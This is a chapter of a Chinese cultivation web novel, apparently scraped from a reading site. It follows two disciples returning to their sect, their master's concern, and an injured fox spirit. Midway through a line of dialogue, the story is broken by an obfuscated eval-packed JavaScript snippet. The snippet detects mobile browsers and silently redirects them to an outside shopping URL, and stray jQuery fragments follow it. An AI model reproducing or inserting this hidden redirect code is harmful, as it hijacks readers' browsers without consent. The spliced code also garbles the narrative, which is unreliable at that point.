默认冷灰
24号文字
方正启体

37. 回宗

作者:寻沐本书字数:K更新时间:
    晴空如洗,澄澈得像块透亮的蓝玉。几朵白云慢悠悠飘着,时而聚成棉絮,时而散作轻纱,随着微风轻轻挪动,衬得天光愈发明净,连空气都透着几分悠然自在。


    两道身影自天际划过,快得只留残影。


    随春生御剑凌空俯瞰,苍云宗卧于青翠林海间,漫山绿树郁郁葱葱。清风徐徐拂过,枝叶轻摇碰撞,沙沙声顺着风势飘来,舒心又悦耳。


    青灰色石阶蜿蜒向上,尽头的石拱门气势雄浑,“苍云宗”三个大字笔力苍劲。拱门下,一道墨绿色身影挺拔如松。


    天光落进随春生眸子里,浮起点点碎光。


    她老远便望见拱门下站立的墨绿身影,不用猜也知道是自己师父折竹,随春生嘴角轻勾了下。


    下方的折竹似有所觉般,墨绿衣袍顺着清风轻轻飘动,目光抬向天际。见两道身影正往这边飞来,被折扇掩住的半张脸,漾开几缕笑意。


    扇面上映有竹纹,还衬着几片浮云。这折扇是他死去的器妖所化,与箫临川死去认主随春生一样,唯有折竹能使用。


    随春生自拜入折竹门下,总能看见折竹带着这把折扇,却从没见过其人。


    她便知道了。


    莫泽是最早拜入折竹门下的弟子,随春生心里好奇莫泽是否见过。


    莫泽却说,他也从没见过。


    折竹不管去什么地方,折扇都片刻不离身。随春生就算再好奇,也不会主动去过问。


    毕竟,没人愿意触碰那些痛彻心扉的过往。


    两人御剑落地,随春生怀中抱着白狐,收回桃木剑,同莫泽一起恭恭敬敬地叫了一声“师父”。


    折竹“啪”的一声收回折扇,在手心里敲了敲,轻笑道:“回来就好,再不回来,为师都要亲自去接你们了。”


    “这么多天,有没有想为师?”


    “没有。”


    随春生和莫泽异口同声地答,两道声音撞在一起,半点犹豫都没有。


    折竹捂着心口,一脸悲痛欲绝的样子,装得颇为受伤:“亏为师还天天惦记着你们,俩小白眼狼居然一点都不想我这个孤家老人!”


    随春生和莫泽一脸无语地看着师父演戏,对此早就见怪不怪了。


    折竹半点不觉得尴尬,更不觉得丢脸。虽说身居长老之位,却半点架子都没有,性子亲和温朗,跟谁都能聊上几句。也正因他这性子,青竹峰的弟子个个都随和散漫,和其他几峰的严格管教形成了鲜明对比。


    玩闹归玩闹,折竹脸上的笑容慢慢收起:“伤恢复得如何了?”


    随春生和莫泽回宗,已经是秘境出来后的第七天了。


    刚出秘境时,莫泽就传音回宗,说他们在秘境里出了点意外,打算在宜和城修养几天,暂时没法立刻返宗。长老们原本想派人去接,却被他们回绝了,理由是“不必兴师动众,休养几日便回”。见他们态度坚决,长老们也就没再坚持。


    那则传音里,还有一则是单独发给南欣林长老的。他看完后瞳孔骤缩,当场喷出一口血,从座椅上摔了下来,脸上满是不敢置信。


    殿内众人都惊了,刚有人要上前查看,南欣林已经顾不上擦嘴角的血,从地上跌跌撞撞爬起来,立刻召唤出自己的器妖,御剑冲了出去。


    折竹皱起眉,心里隐约有了不好的猜测,当即起身就要去追,却被望舒峰的江南长老拦了下来。


    江南语气平淡:“我去追。”


    话音刚落,一道疾风划过,殿内早已没了他的身影。


    看着天际逐渐远去的二人,折竹已经知道南欣林要去什么地方了。


    他也打算去接自家这两个徒弟,可随春生和莫泽像是早有预料,一则传音及时送到,拦住了正要动身的他。


    折竹无奈地摇了摇头,还能怎么办?自家徒弟,只能宠着呗!便只好捎去了不少上好的灵药给他俩。


    既然安然出了秘境,他可以暂时放心了。


    至于洛言丘和松朝香,五天前就被他们各自的师尊提前接回宗门了。


    再见到洛言丘时,所有人俱是一怔。


    洛言丘的筋脉和灵府全毁了,彻底成了普通人,甚至称得上是废人。


    更让人揪心的是……折竹皱紧眉头,还疯了……


    南欣林像是一瞬间老了几百岁,鬓角凭空添了几缕白发,在黑发间格外扎眼。他只留下一句“我先带徒儿回峰了”,声音里满是无尽的沧桑,背影也透着说不出的颓废。


    洛言丘变成这副模样,南欣林却对此绝口不提。


    不过折竹已经从随春生和莫泽那里,知晓了事情的真相。


    当初看完两个徒弟的传音,他沉默了片刻,脸上并没多少惊讶,只是轻轻摇了摇头,那模样竟像是早有预料。


    其实他早就察觉,洛言丘对绝对力量太过执着,总觉得他日后迟早会剑走偏锋,付出惨痛的代价。


    虽说洛言丘和自家小徒弟有过节,但好歹也是苍云宗的弟子。他之前好心提醒过洛言丘几次,可洛言丘见了他从来没好脸色,压根不领情。


    折竹见他执念太深,便没再继续提醒。往后他要走什么样的路,终究是他自己的选择,不后悔便是。


    传音里没细说他们在秘境遭遇了什么,但从洛言丘和松朝香的惨状来看,也能猜个大概——他们肯定遇上了天大的危险,不然也不会特意在宜和城休养几天才回宗。


    “好多了。”随春生一副没心没肺的样子答道。


    “没事了。”莫泽也淡淡应了一句。


    要不是早知道自家这两个徒弟就是这种脾性,折竹恐怕要被气死,只能无奈地闭了闭眼。


    下一秒,他手中的折扇毫无征兆地落下,轻轻敲在了两人的额头上:“一个两个的,迟早要被你们气死!”


    莫泽压根没料到师父会突然动手,整个人都愣在了原地,罕见地呆住了。


    戏鱼见他露出久违的傻气模样,伸手抓住他的衣摆,脑袋轻轻埋在上面,忍不住轻笑起来,只是眼底藏着一丝淡淡的涩然。


    随春生抱着狐狸也僵在了原地,慢慢抬手摸了摸被敲的额角,一脸茫然。


    两人心里同时咯噔一下,不约而同地想到——


    师父这回是真生气了!


    他俩立马乖乖认错。


    “咳咳,抱歉师父,我的伤是真的好得差不多了,您别担心。”随春生先开口说道。


    莫泽也赶紧跟着附和:“嗯,确实好得差不多了,不然也不会现在回来。”


    “欸……”折竹揉了揉额角,轻轻叹了口气,“我没生你们的气,就是担心你们啊……”


    害怕你们就此一去不复返。这句话他没说出口,只在眼底飞快地闪过一抹后怕的悲痛。


    之前看见洛言丘那副惨状,他心里实在放不下,悄悄去了趟宜和城,亲眼确认俩徒弟安然无恙,才松了口气回来。


    “好了好了。”折竹绕到两人身后,轻轻推着他们往青竹峰走,“安然回来就好,这样为师便安心了。”


    他的目光落在随春生怀里的白狐身上,见狐狸呼吸平稳,却丝毫没有要醒来的意思,忍不住问道:“小徒弟,你的器妖怎么到现在还没醒?”


    “他伤得比我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992029|193757||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    们都重。”随春生低声答道,伸手摸了摸狐狸毛茸茸的脑袋。


    “行。”折竹嘴上应着,眼底却划过一抹沉思。


    在冰原发生的事,随春生和莫泽也告诉了他,就算小徒弟与“洛言丘”交手时,雪青攸便受了伤,一直强撑着,直到“洛言丘”倒下才彻底昏了过去。


    不过按理来说,休养了这么久,还服下了不少灵丹妙药,就算伤得再重,也该醒了才是,怎么到现在还没醒?


    罢了,既然小徒弟没多提,他这个做师父的,也不好追问太多。


    如若发现雪青攸对小徒弟有半分歹意,他手中的折扇,会毫不犹豫地划破对方喉咙。


    *


    回到自己的庭院,随春生感到一阵恍惚。


    有灵力的滋养,院中的粉色海棠依旧,一年四季都尽显生机灿然,花瓣轻晃着迎风舒展。


    院外竹林随风轻吟,沙沙声细碎柔和。暖融融的天光漫下来,为草木、石径,小池塘镀上浅金,清风裹着淡淡花香,一切静得怡然,让人心里满是踏实的安心。


    随春生走过落有海棠花的石径,推开雪青攸房门走进去,房间并未因主人不在而落了灰尘,显然有人来洒扫过。


    她轻柔地将怀中的白狐放在床铺上,狐狸身上的金色裂痕还在时不时闪烁,一下下提醒着它的存在。


    随春生伸出手,轻轻摸了摸狐狸的脑袋,眉头不自觉地蹙了起来。


    最后,她也只能轻轻叹口气。


    不过这几天她仔细观察过,只要将自己的灵力缓缓渡进他体内,指尖就能感受到他紧绷的皮毛慢慢松弛,胸口起伏也平稳了不少,连那闪烁的金痕,光芒都黯淡了几分。


    看来,她的灵力对缓解诅咒反噬的确有效果,就是不知道这效果到底有多大。


    但,有效果便是好事,尽管收益甚微。


    她摸出几颗灵珠放在床边,又拍了拍狐狸毛茸茸的脑袋,这才转身离开房间。


    她还有正事要做。


    听澜没跟着随春生回苍云宗。三天前,魔族在苍云宗的研学已经结束,留在宗门的魔族子弟早就告别苍云宗,早早返回了魔界。


    既然交流已经结束,随春生回宗这天,听澜也不好再去,便跟她道了别,自己回了魔界。


    随春生慢悠悠回到自己房间,屋里飘着淡淡的花香,清甜宜人,闻着相当舒心。


    听澜的生辰就快到了,可她还没想好送什么合适——剑谱、灵草灵果、合身的衣裳、护身法宝、稀奇术法、灵丹妙药这些,不管常见的还是罕见的,她都送过了,实在想不出新的花样。


    之前去泽灵秘境,她一来是想长长见识,二来是冲着梧灵谷去的。


    她在藏书阁那些蒙尘的古籍里看到过记载,梧灵谷长着不少奇异的灵草灵果,皆是外界没有的。


    而听澜从小就对这些东西感兴趣。她本想趁机摘几株他会感兴趣的带回来,当成生辰礼送给他。


    可谁知刚进秘境就接连遇上变故,根本没多余时间去找灵草,看来只能换别的礼物了。


    随春生坐在案前,支着脸颊望着窗外随风晃悠的海棠花,一脸愁容。


    正愁得没头绪,风吹动案上书页哗哗作响,几片粉色海棠花瓣慢悠悠落在砚台上,墨香裹着池水的微凉轻轻漫开,散发着清润的香气。


    随春生突然灵光一闪,赶紧找出一本空白的册子,翻开第一页,拿起毛笔提笔就写了起来。


    风还在不知疲倦地吹,波光粼粼的池水上飘满了海棠花瓣,时光悄悄溜走,院中的一切似乎都在陪着窗边伏案写字的少女。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)